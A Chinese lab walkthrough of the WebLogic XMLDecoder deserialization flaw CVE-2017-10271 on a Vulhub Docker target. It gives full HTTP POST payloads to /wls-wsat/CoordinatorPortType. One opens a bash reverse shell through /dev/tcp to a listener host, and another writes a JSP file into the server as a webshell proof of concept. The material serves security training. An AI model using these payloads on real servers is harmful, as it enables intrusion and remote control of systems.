weblogic反序列化漏洞（CVE-2017-10271）

Weblogic+XML反序列化漏洞检测工具 提取码：03k0

一、Vulhub靶场搭建
二、漏洞利用
2.1 、运行漏洞环境

#进入漏洞环境所在路径
cd vulhub/weblogic/CVE-2017-10271
#运行漏洞环境
docker-compose build && docker-compose up -d

访问192.168.1.100:7001，如出现404页面即说明环境运行成功

环境搭建成功

2.2、反弹shell

• 在接收端开启NC端口监听，linuxnc -l -p 2233，windowsnc -lvp 2233
• 访问192.168.1.100:7001抓包修改请求如下，其中192.168.1.100为靶机ip，192.168.1.88/2233为接收反弹shell的IP和端口，端口自定义

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.100:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.1.88/2233 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发送攻击脚本
成功获取shell

2.3、写入webshell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.100:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

上传poc 写入成功